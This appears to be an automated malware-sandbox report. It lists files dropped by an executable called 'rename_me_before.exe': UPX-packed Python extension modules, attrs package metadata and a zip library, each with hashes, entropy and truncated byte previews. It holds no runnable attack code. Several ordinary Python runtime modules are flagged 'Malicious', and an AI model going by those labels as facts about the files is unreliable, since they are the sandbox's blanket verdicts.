SHA-512:	B115E83061C11AAF0A0F1131A18BE5B520C5CBC3975F5B7A1E9CEA06B0AFF7A2815165FCD1F09BA1EFCF7C185E37E84A0B6AD4EEFEA3049A369BDF46ED3D2CB7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.....................).....).....).....).....O...............W.......c.O.....O.....O.o...O.....Rich..........................PE..d......e.........." ...#.........`.......p...................................0............`.........................................H,.......)....... .......................,..........................................@...........................................UPX0.....`..............................UPX1.........p......................@....rsrc........ ......................@..............................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\_decimal.pyd

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	109336
Entropy (8bit):	7.933037133644081
Encrypted:	false
SSDEEP:	1536:JOt51H+NnBZBmb1fZGlHc9ye/U65Qka1RkT1IJ5NrIecwgWN/xiNIVOqHC07SyiY:czanBZkGlmRc1en8R/iIVOqHC0r
MD5:	D967BEA935300A9DA0CD50BF5359A6EA
SHA1:	4C2FD9A31AABC90172D41979FB64385FDA79C028
SHA-256:	4B312A03C3A95BD301F095AB4201E2998A3C05E52FCD16C62AB1E51341F54AF2
SHA-512:	7BAA39A35BEAD863833EFD7519C761E8CD4E15B35825427CF654181534F41C9ABCDD85E017DAEB9AFEFE291D6C2741505BF7EEF30D4D25D53ADA82646857F356
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........@.R.!...!...!...Y=..!..+]...!..+]...!..+]...!..+]...!..M\...!...Y...!...!...!..M\...!..M\...!..M\...!..M\Q..!..M\...!..Rich.!..........PE..d......e.........." ...#.p...................................................0............`..........................................,..P....)....... ..........$'...........-..........................................@...........................................UPX0....................................UPX1.....p.......j..................@....rsrc........ .......n..............@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\_hashlib.pyd

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36632
Entropy (8bit):	7.654026577022311
Encrypted:	false
SSDEEP:	768:x35lZrQBDJLFSRN0cp71I6Pm9zje2pojcIVOI8a5YiSyvELAMxkE1R1:N5YbLkfzpIwm9zK1jcIVOI847SyMrxZz
MD5:	BEAC22863EE05D291190B6ABF45463C0
SHA1:	94CC19E31E550D7FD9743BBD74BFE0217CDDE7F9
SHA-256:	C1C3856EE8E86C8E5CF2B436C1426067F99A40C0DA4CBEA4E0B52582CD7B6B5B
SHA-512:	8AE651B912C0F9F2C431A4D3F1C769746F787BDD70CE53626106C903CB3F364CB1BAE7E6E2476868420ABD849A990C5604C533BC64B0EBA149F6BC36514A6F66
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(t..F'..F'..F'..'..F'u.G&..F'u.C&..F'u.B&..F'u.E&..F'..G&..F'..G&..F'..G'B.F'..K&..F'..F&..F'...'..F'..D&..F'Rich..F'................PE..d......e.........." ...#.P...........!.......................................@............`.........................................\|;..P....9.......0.......................;.......................................-..@...........................................UPX0....................................UPX1.....P.......P..................@....rsrc........0.......T..............@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\_lzma.pyd

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	87832
Entropy (8bit):	7.91494851779059
Encrypted:	false
SSDEEP:	1536:0ZMcTNiSSlZFto5ChAwRYMekiq/xFQhIHFB38EtW9ue20dcwfgpPzLNLJcIVZ1Ch:kTJitRLeZq/fZH3Ns9D2WcGgthLGIVZI
MD5:	872FEA740D2AE4D8B9BB2AC95059F52B
SHA1:	22274E636E2EF57AD16CCF0EB49A2FF3E37BA080
SHA-256:	C9A4162DF80A99E4723DD60BDF34B8FEFC4005F7865DC3E6D86833D84FA25DA2
SHA-512:	F85D1B6602826B21F12A873176F7A5C857C3213AE329ED7A0B8F7D9B1A791EDC5549D8FCE3C5D2305CE40A4D8A57D9845B2956D42D374DE78D5324703D5DFA03
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........T"#.5Lp.5Lp.5Lp.M.p.5Lp.IMq.5Lp.IIq.5Lp.IHq.5Lp.IOq.5LpnHMq.5Lp.MMq.5Lp.5Mp.5LpnHAq.5LpnHLq.5LpnH.p.5LpnHNq.5LpRich.5Lp................PE..d......e.........." ...#. ................................................................`.........................................4...L....................P..........................................................@...........................................UPX0....................................UPX1..... ..........................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\_multiprocessing.pyd

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	27416
Entropy (8bit):	7.512035788996596
Encrypted:	false
SSDEEP:	768:Sy6HNbprWpwDXIVWt835YiSyvE+OAMxkEO:y99DXIVWt8p7Sy18xK
MD5:	EAAADF40DD833D09BC92D6222AEB2F14
SHA1:	CFE29566262367FCF7822DE328AF95B386D96A2D
SHA-256:	F7D615C6FC3AC5201AB2B369FD7E0443967DC132EE5FC981ACB07BF8DC4697CB
SHA-512:	8216324A30CC66B7BC51C4A96CE0B8F5AD563025E59CF1BF457A84076DC8E8A0291C8A6FCE6DC19EC3877D2DBAA9BBAF5CC1D34553FD3423A258B51EA4D40F70
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-*.yCy.yCy.yCy...y.yCy'.Bx.yCy'.Fx.yCy'.Gx.yCy'.@x.yCyA.Bx.yCy.yBy.yCy..Bx.yCyA.Nx.yCyA.Cx.yCyA..y.yCyA.Ax.yCyRich.yCy................PE..d......e.........." ...#.0..........`.....................................................`.........................................4...`....................`......................................................p...@...........................................UPX0....................................UPX1.....0.......,..................@....rsrc................0..............@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\_overlapped.pyd

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	33048
Entropy (8bit):	7.646550525853649
Encrypted:	false
SSDEEP:	768:C1y7LmeBIEqqupNjRIVXtM75YiSyvw5AMxkEfEk:XvmeBI9jRIVXtMF7Sy4hxjEk
MD5:	DBE30CE23B5F19E1B6516653BC6692FC
SHA1:	9E46EA221793EAB9256E7425C8143323640259E1
SHA-256:	67D476307C3AE5FFD221C67F26FC76CE2CF5B97B91F32028A7549D131E33454A
SHA-512:	2B0F9E2E0DCE0E87E240ACF874E0399249C6BAA35382D50D2F68989942E81D038D5BB9B734B313339C9F2DF175A8319683671EA58997097AEC667597024E2338
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}!{..O(..O(..O(.d.(..O(W`N)..O(W`J)..O(W`K)..O(W`L)..O(1aN)..O(..N(..O(.dN)..O(.dK)..O(1aB)..O(1aO)..O(1a.(..O(1aM)..O(Rich..O(................PE..d......e.........." ...#.P..........p........................................ ............`.........................................x...X...............................................................................@...........................................UPX0....................................UPX1.....P.......B..................@....rsrc................F..............@..............................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\_queue.pyd

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26392
Entropy (8bit):	7.484232189428478
Encrypted:	false
SSDEEP:	768:P1ihFuym2pDjIVQU8v5YiSyvyxAMxkE44:EXmqjIVQU8B7Sy+xE4
MD5:	C3CEA46D675E3F2A00F7AF212521C423
SHA1:	0A7C76039E0ED61E3853C4C553BB6CFC9CBD2C7C
SHA-256:	02B62AEE4867505E3D12A3ABD0288CF7A75658AC908D06F5B24FDB178094E29D
SHA-512:	8D9AF1D88A2A9528096388DB3BD4FF8ADD480EF94689E851FA4C5A68EC9B97C561B2EDFC7E34061BEB7BCC26B884A0A06AF196008D8705D0284B22878C95289E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B:WX.[9..[9..[9..#...[9..'8..[9..'<..[9..'=..[9..':..[9..&8..[9.M#8..[9..[8.L[9..&4..[9..&9..[9..&...[9..&;..[9.Rich.[9.........PE..d......e.........." ...#.0................................................................`.............................................L.......P............`..............<...........................................@...........................................UPX0....................................UPX1.....0.......(..................@....rsrc................,..............@..............................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\_socket.pyd

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	44312
Entropy (8bit):	7.717509871918743
Encrypted:	false
SSDEEP:	768:wAQ8MABQVaAwmySb0TrgeBYdEpZbqIVLwJF65YiSyvTAMxkEY:wATIzwF/JbqIVLwJFY7SyLxU
MD5:	9505AFE166EB419F5A1D33FF1254722E
SHA1:	F343D7B444EB58033086DE5376725DEDA5E0E418
SHA-256:	AF42A1C35155EB989332C25A81D6E2ED08D8E33718D18D32BA5B00092F2A0F21
SHA-512:	46B7C86D3384DB9ADB8F1F52B83AAAC398547AB86BC07800B0EB87E9ABEB9D97E24FB8A70F01224D7C4E8A2A532D9353AD1C1F91D0416B429B87EE0EBE1DAEC4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......f.+.".E.".E.".E.+...$.E...D. .E...@./.E...A.*.E...F.!.E...D. .E.".D...E.i.D.%.E...H.#.E...E.#.E....#.E...G.#.E.Rich".E.........................PE..d......e.........." ...#.p...........m....................................................`.............................................P.......h............ ..x...........X........................................y..@...........................................UPX0....................................UPX1.....p.......l..................@....rsrc................p..............@..............................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\_sqlite3.pyd

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	57624
Entropy (8bit):	7.832914003064299
Encrypted:	false
SSDEEP:	1536:1w9DUaMjfQ0G17k3Gq+m3SvZ6XhH60CSLMIVOQZu7Sypx/:GzMjYfwPzR60qIVOQZuB
MD5:	83D8256BC4B9F1FA9FE3B79196166074
SHA1:	2F05420A7C663855F5290FB88CC20A15A7870090
SHA-256:	F63E3BCAD55EF5F5E42076E12730F51BC5B4F3890EB0632A36D2755C5457A57A
SHA-512:	A2E55D4A1A7CA4239E20FAAD4CBB9591C91E245C0D8FCCB01B898DF1C5C4D28010D378B00EC3ABBF973D87F874BB77C02FE0F5D471D47D513A93A4D3C54C94A3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........`.g...g...g.......g.......g.....g.......g.......g.......g..q....g.......g...g...f..q....g..q....g..q..g..q....g..Rich.g..........................PE..d......e.........." ...#.........`.. ....p...................................0............`..........................................+..P....)....... .......................+..$................................... ...@...........................................UPX0.....`..............................UPX1.........p......................@....rsrc........ ......................@......................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\_ssl.pyd

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	66840
Entropy (8bit):	7.864649468753277
Encrypted:	false
SSDEEP:	1536:fbCYwNqce1LbV8uQvTLwNsDgzg+JR15xzf5/5JrwIVC7y3S7Syykx0:fuYwNABQQxzhRTxTx5JcIVC7yCa
MD5:	D8567F88C0C935C77D2258C7C9DB4CA4
SHA1:	1DECC299B3E58F8401264354F3874DD2F0D7CD0A
SHA-256:	9A7E02CF4C66CC6BE6B2BF03282B4D88F16D12EB10EA78F36CDCE0776F6A6289
SHA-512:	FAA5067C4ED2143D316ABF96AE096A1229B7450C9D3A850C496B484794897B246C59716F096806982D9C74CB3799A94C8DDCE646EB990CA89086F8D16D4C5EA9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........U.+.4.x.4.x.4.x.L)x.4.x.H.y.4.x.H.y.4.x.H.y.4.x.H.y.4.xiI.y.4.x.4.x>5.x.L.y.4.xiI.y.4.xiI.y.4.xiIEx.4.xiI.y.4.xRich.4.x................PE..d......e.........." ...#.........@.......P...................................0............`.........................................l,..d....)....... .......................,..........................................@...........................................UPX0.....@..............................UPX1.........P......................@....rsrc........ ......................@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\_uuid.pyd

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25368
Entropy (8bit):	6.628339287223099
Encrypted:	false
SSDEEP:	384:lCfwFpEWjfivQpIVZwobHQIYiSy1pCQFjzuAM+o/8E9VF0NySoJ:4qpEI4QpIVZwg5YiSyvgAMxkE7
MD5:	3A09B6DB7E4D6FF0F74C292649E4BA96
SHA1:	1A515F98946A4DCCC50579CBCEDF959017F3A23C
SHA-256:	FC09E40E569F472DD4BA2EA93DA48220A6B0387EC62BB0F41F13EF8FAB215413
SHA-512:	8D5EA9F7EEE3D75F0673CC7821A94C50F753299128F3D623E7A9C262788C91C267827C859C5D46314A42310C27699AF5CDFC6F7821DD38BF03C0B35873D9730F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<p.R#.R#.R#...#.R#i.S".R#i.W".R#i.V".R#i.Q".R#..S".R#..S".R#.S#..R#..Z".R#..R".R#...#.R#..P".R#Rich.R#........................PE..d......e.........." ...#.....&...... ........................................p............`.........................................`)..L....)..x....P.......@.......4.../...`..@...`#..T........................... "..@............ ..8............................text...h........................... ..`.rdata....... ......................@..@.data........0.......$..............@....pdata.......@.......&..............@..@.rsrc........P.......(..............@..@.reloc..@....`.......2..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp\_helpers.cp311-win_amd64.pyd

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	27136
Entropy (8bit):	7.6999639678226925
Encrypted:	false
SSDEEP:	768:n7zv9jtkqp8io9lh7cX4fxHCWCvbRQupH:nPvo0q9lZcixHAjRQ2
MD5:	CFCE0B2CFA84C1B1364912E4BFA854F0
SHA1:	92DDADB37B87F54C2C1A244CAB0B51B6FB306EC3
SHA-256:	4C173E67E018DB851A1CCBB21D9163C05B11445BBEEA44E433BFE3B900C82E9C
SHA-512:	932A0CD07B815B5CFA460651C058443454313DE96C694842E0D22BBFBAD3EF2B044624E689DEDE8409182CDDB77583DE22AB2C1FDBE48E69EF4EBD390BF80781
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V..X.ux..ux..ux......ux...y..ux.Y.y..ux...}..ux...\|..ux...{..ux.(.y..ux..uy..ux.}.p..ux.}.x..ux.}...ux.}.z..ux.Rich.ux.................PE..d......f.........." ...&.p...........C.......................................p............`.........................................@b..`....`..P....`.......................b..$....................................O..@...........................................UPX0....................................UPX1.....p.......b..................@....rsrc........`.......f..............@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp\_http_parser.cp311-win_amd64.pyd

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	82432
Entropy (8bit):	7.940505498404618
Encrypted:	false
SSDEEP:	1536:+3cl1ibnnh5z7R7rXgoGM0yiSwlwm0eumMbNZPw4BfmLNKalbgEM9xI:+s1ibnnXz7x3GXFSTvegbNVw
MD5:	8FA0C4C34AE5B6BB30F9E063C0D6FF74
SHA1:	81172F9EEB5BA03575232D6C58EE1EC5488B53A2
SHA-256:	89651D43C08734E0B06C9869446461D815EA0D59DCAFDCE340920267108DD218
SHA-512:	F4E122B46E364711BC2CDA034C845369673A2D62B9F2628685E420AE8697FA42CE9E2F678F9030703ECF24FBFCD6CC3E8F7D23ABA5F127C27D679051D8DB1F62
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$...`.Q`.Q`.Qi.0Qf.QfK.Pb.Q+..Pb.QZJ.Pc.Q`.Q..QfK.Pl.QfK.Ph.QfK.Pd.Q.K.Pe.Q.K.Pa.Q.K\Qa.Q.K.Pa.QRich`.Q................PE..d......f.........." ...&.@.......p........................................................`..................................................................@..............\...........................................@...........................................UPX0.....p..............................UPX1.....@.......6..................@....rsrc................:..............@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp\_http_writer.cp311-win_amd64.pyd

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25088
Entropy (8bit):	7.667591497071085
Encrypted:	false
SSDEEP:	384:hTngUVq/M8o0HBUR5Tf490V7w1OMcAwGTtpOnWJKa5yj8pWeh9LWwhTFtSF5XXtt:Zg210+LGcAwU3KyyAt9NTFtSFpTpe
MD5:	5588BE68B4025D1F7D44055A4A5BFB3B
SHA1:	720AC28B851B3B50B058813C67C364DE2EE05CB3
SHA-256:	DD82DAAAEF6677270B80EA23D8DD9BBB62BC8208C2F243E52ABF97751FC94F48
SHA-512:	CDF635F191F5994F4E4CC5373B964A5DB674ABEA144A36492A958B0181B85C85BFED0162EB85D130F822E0D6B0F2180144920DEC356659AD47E475AE70AC9BB1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......f..T"ux."ux."ux.+... ux.$.y. ux.i.y. ux.$.}..ux.$.\|.*ux.$.{.!ux...y.!ux."uy..ux.M.p.#ux.M.x.#ux.M..#ux.M.z.#ux.Rich"ux.........PE..d......f.........." ...&.`...........k... ................................................`.........................................@...h.......P............ ..$....................................................w..@...........................................UPX0....................................UPX1.....`... ...Z..................@....rsrc................^..............@..............................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\aiohttp\_websocket.cp311-win_amd64.pyd

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	19968
Entropy (8bit):	7.5808234342652385
Encrypted:	false
SSDEEP:	384:kC4vtZ/HMOxAOJAslYzehJIjcf3qkcxXUZnv65wjya9m+WvX/Za7gJXDF:I3MVOrYqbIje54532Yvpz
MD5:	6AF681A880D0B41EC16D38F8D7603578
SHA1:	BE92C953F7B4F19763AC768EE961933051E6FCB0
SHA-256:	1211EB2986835D195BC7B80E16F03D5891D7088FE0C3EF19C41C55C517A4082E
SHA-512:	5A38DB40A7A0540D77618D3DCD2CCCACC9EC3A4C4084BDD113ABABDDFC0271F392D0356F0310E6850FC919B5A02099CCE9B2A1490E79CA427784824F188A80C4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V..[.ux..ux..ux......ux...y..ux.Y.y..ux...}..ux...\|..ux...{..ux.(.y..ux..uy..ux.}.p..ux.}.x..ux.}...ux.}.z..ux.Rich.ux.................PE..d......f.........." ...&.P..........`.....................................................`.........................................@...d.......P...............4...................................................`...@...........................................UPX0....................................UPX1.....P.......F..................@....rsrc................J..............@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\attrs-23.2.0.dist-info\INSTALLER

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI13962\attrs-23.2.0.dist-info\METADATA

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (367)
Category:	dropped
Size (bytes):	9531
Entropy (8bit):	5.159292758435694
Encrypted:	false
SSDEEP:	192:LisUYxxPRtXLt5D6kyEqOmoKTYoEJdQ/0GmlWEx+VqAJk6O8mEISuJ5LdYDE:LisTdHyEqHoKtgAml9rAvOsFuJ5L2DE
MD5:	E32D387A89F0114B8F9B9A809905299D
SHA1:	A055C9FBF5416C83D5150D49CA16C58762B8B84A
SHA-256:	5B0BC6ECE1F22A310FA72154642098B759F413F09CA9D45BEDB96218475C9BE0
SHA-512:	6EEE3E19AF46A79E2110678F8D3D15EA4B2EB1355D0FC9581DA2C8E91D28926A2771394EA447E15CBC311A9DD9DE2A20E2AC0E0ABF9DB6D4D51982199A12E881
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: attrs.Version: 23.2.0.Summary: Classes Without Boilerplate.Project-URL: Documentation, https://www.attrs.org/.Project-URL: Changelog, https://www.attrs.org/en/stable/changelog.html.Project-URL: GitHub, https://github.com/python-attrs/attrs.Project-URL: Funding, https://github.com/sponsors/hynek.Project-URL: Tidelift, https://tidelift.com/subscription/pkg/pypi-attrs?utm_source=pypi-attrs&utm_medium=pypi.Author-email: Hynek Schlawack <hs@ox.cx>.License-Expression: MIT.License-File: LICENSE.Keywords: attribute,boilerplate,class.Classifier: Development Status :: 5 - Production/Stable.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python :: 3.7.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: 3.10.Classifier: Programming Language :: Python :: 3.11.Classifier: Programming Language :: Python :: 3.12.Classifier: Programming Languag

C:\Users\user\AppData\Local\Temp\_MEI13962\attrs-23.2.0.dist-info\RECORD

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	3555
Entropy (8bit):	5.799512812060909
Encrypted:	false
SSDEEP:	96:QixWFmx02/o/+chE6dwB1NbXmUuAqG2WXJARGD+qLtxO:qMJchiRXnuA/XJSiO
MD5:	0461AB56C7D588C2D9596F91E16658EC
SHA1:	013E2923CAC817D68EE9ECF9A812E41707C4C7FD
SHA-256:	A6DE30062543C20B137871403F784F12622118583313E9288A9389C005DE59AF
SHA-512:	DD217FCCDD005EC00C34621EDD879A6DAC57F11065DDD628D0166FC3F2D78F32E282CCA86AEAB71D80928D834657A1E1D8D704F2A3BEF98410EE2D2E614A9590
Malicious:	false
Preview:	attr/__init__.py,sha256=WlXJN6ICB0Y_HZ0lmuTUgia0kuSdn2p67d4N6cYxNZM,3307..attr/__init__.pyi,sha256=u08EujYHy_rSyebNn-I9Xv2S_cXmtA9xWGc0cBsyl18,16976..attr/__pycache__/__init__.cpython-311.pyc,,..attr/__pycache__/_cmp.cpython-311.pyc,,..attr/__pycache__/_compat.cpython-311.pyc,,..attr/__pycache__/_config.cpython-311.pyc,,..attr/__pycache__/_funcs.cpython-311.pyc,,..attr/__pycache__/_make.cpython-311.pyc,,..attr/__pycache__/_next_gen.cpython-311.pyc,,..attr/__pycache__/_version_info.cpython-311.pyc,,..attr/__pycache__/converters.cpython-311.pyc,,..attr/__pycache__/exceptions.cpython-311.pyc,,..attr/__pycache__/filters.cpython-311.pyc,,..attr/__pycache__/setters.cpython-311.pyc,,..attr/__pycache__/validators.cpython-311.pyc,,..attr/_cmp.py,sha256=OQZlWdFX74z18adGEUp40Ojqm0NNu1Flqnv2JE8B2ng,4025..attr/_cmp.pyi,sha256=sGQmOM0w3_K4-X8cTXR7g0Hqr290E8PTObA9JQxWQqc,399..attr/_compat.py,sha256=QmRyxii295wcQfaugWqxuIumAPsNQ2-RUF82QZPqMKw,2540..attr/_config.py,sha256=z81Vt-GeT_2taxs1XZfmHx9TWlSxjP

C:\Users\user\AppData\Local\Temp\_MEI13962\attrs-23.2.0.dist-info\WHEEL

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	87
Entropy (8bit):	4.699003560068366
Encrypted:	false
SSDEEP:	3:RtEeXAaCTUhvhjP+tPCCfA5I:Rt2PYhvxWBB3
MD5:	C58F7D318BAA542F6BFD220F837AB63F
SHA1:	F655FC3C0EB1BF12629C5750B2892BD896C3E7D9
SHA-256:	99161210BDC887A8396BF095308730885FFFD007B8FE02D8874D5814DC22AB59
SHA-512:	3DA6980A39C368AB7F7527FCD5FCDAA9D321060174BAAE163BF73F8052A2AC1A73F476C3882855965DFC2CB13C7C3EC1A012882201389DAC887F9BE59540C80F
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: hatchling 1.21.0.Root-Is-Purelib: true.Tag: py3-none-any.

C:\Users\user\AppData\Local\Temp\_MEI13962\attrs-23.2.0.dist-info\licenses\LICENSE

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1109
Entropy (8bit):	5.104415762129373
Encrypted:	false
SSDEEP:	24:bGf8rUrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:bW8rUaJHlxE3dQHOs5exm3ogFh
MD5:	5E55731824CF9205CFABEAB9A0600887
SHA1:	243E9DD038D3D68C67D42C0C4BA80622C2A56246
SHA-256:	882115C95DFC2AF1EEB6714F8EC6D5CBCABF667CAFF8729F42420DA63F714E9F
SHA-512:	21B242BF6DCBAFA16336D77A40E69685D7E64A43CC30E13E484C72A93CD4496A7276E18137DC601B6A8C3C193CB775DB89853ECC6D6EB2956DEEE36826D5EBFE
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2015 Hynek Schlawack and the attrs contributors..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHE

C:\Users\user\AppData\Local\Temp\_MEI13962\base_library.zip

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1440734
Entropy (8bit):	5.590383253842785
Encrypted:	false
SSDEEP:	24576:mQR5pATG8/R5lUKdcubgAnyfb8h30iwhBdYf9PfeYHHc:mQR5pE/RbPu
MD5:	D220B7E359810266FE6885A169448FA0
SHA1:	556728B326318B992B0DEF059ECA239EB14BA198
SHA-256:	CA40732F885379489D75A2DEC8EB68A7CCE024F7302DD86D63F075E2745A1E7D
SHA-512:	8F802C2E717B0CB47C3EEEA990FFA0214F17D00C79CE65A0C0824A4F095BDE9A3D9D85EFB38F8F2535E703476CB6F379195565761A0B1D738D045D7BB2C0B542
Malicious:	false
